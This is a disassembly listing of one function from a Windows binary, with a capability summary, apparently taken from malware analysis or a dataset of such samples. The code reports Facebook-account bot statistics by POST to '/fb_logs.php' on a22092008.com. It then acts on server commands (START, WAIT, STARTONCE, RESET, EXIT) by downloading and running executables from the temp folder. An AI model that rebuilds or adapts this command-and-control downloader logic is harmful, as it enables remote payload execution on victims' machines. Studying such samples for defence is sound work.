Function at 0x401943
Capabilities:
Check if file exists
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6624
call fcn.00407940
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push edi
call esi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push dword [ebp + 0x20]
lea eax, [ebp - 0xc04]
push 0x40b25c
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str.nick_slogin_ssuccess_dfriends_dcaptcha_dfinish_dv_sp_sc_d
push eax
call edi
xor ebx, ebx
push 0x4e1f
lea eax, [ebp - 0x6624]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x38
mov dword [ebp - 4], ebx
call esi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 4]
push str.POST
push eax
lea eax, [ebp - 0x6624]
push eax
lea eax, [ebp - 0xc04]
push str._fb_logs.php
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0xc04]
push eax
push str.a22092008.com
call fcn.00401345
add esp, 0x1c
cmp dword [ebp - 4], ebx
jbe 0x401c78
lea eax, [ebp - 0x6624]
push 0x40b1e4
push eax
call dword [sym.imp.MSVCRT.dll_strtok]
pop ecx
cmp eax, ebx
pop ecx
je 0x401c78
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
mov esi, eax
push esi
mov dword [ebp + 0x20], esi
call sub.MSVCRT.dll_strlen
pop ecx
test eax, eax
pop ecx
jbe 0x401c5d
push esi
call sub.MSVCRT.dll_strlen
cmp byte [eax + esi - 1], 0xd
pop ecx
jne 0x401a54
push esi
call sub.MSVCRT.dll_strlen
pop ecx
mov byte [eax + esi - 1], bl
push 0x40b144
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x401c20
push str.START
mov byte [esi], bl
push dword [ebp + 0x20]
inc esi
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x401aef
lea eax, [ebp - 0x1804]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push ebx
mov byte [ebp + eax - 0x1804], bl
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [ebp - 0x1804]
push eax
lea eax, [ebp - 0x404]
push str._s_tt__d.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
lea eax, [ebp - 0x404]
push ebx
push eax
push esi
push ebx
call fcn.00402adc
add esp, 0x14
test eax, eax
jne 0x401aef
lea eax, [ebp - 0x404]
push ebx
push eax
call fcn.004012cd
pop ecx
pop ecx
push str.WAIT
push dword [ebp + 0x20]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x401b17
push esi
call dword [sym.imp.MSVCRT.dll_atoi]
imul eax, eax, 0xea60
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str.STARTONCE
push dword [ebp + 0x20]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x401c5a
push esi
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x401b58
mov eax, dword [ebp + 0x1c]
push esi
movsx eax, byte [eax + esi]
add dword [ebp + 0x18], eax
inc dword [ebp + 0x1c]
call sub.MSVCRT.dll_strlen
cmp dword [ebp + 0x1c], eax
pop ecx
jb 0x401b3f
push dword [ebp + 0x18]
lea eax, [ebp - 0x1404]
push str.c:windows_t55ft_df44.dat
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401c5a
lea eax, [ebp - 0x1004]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push ebx
mov byte [ebp + eax - 0x1004], bl
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x804]
push str._s_tt__d.exe
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
lea eax, [ebp - 0x804]
push ebx
push eax
push esi
push ebx
call fcn.00402adc
add esp, 0x14
test eax, eax
jne 0x401bee
lea eax, [ebp - 0x804]
push ebx
push eax
call fcn.004012cd
pop ecx
pop ecx
lea eax, [ebp - 0x1404]
push 0x40b16c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x401c5a
push 0x40b198
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
jmp 0x401c5a
push str.RESET
push dword [ebp + 0x20]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x401c47
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.c:windows_f49f4d98.dat
call esi
push str.c:windows_f49f4d99.dat
call esi
push str.EXIT
push dword [ebp + 0x20]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x401c71
mov esi, dword [ebp + 0x20]
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov dword [esp], 0x40b1e4
push ebx
jmp 0x401a0f
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebx
leave
ret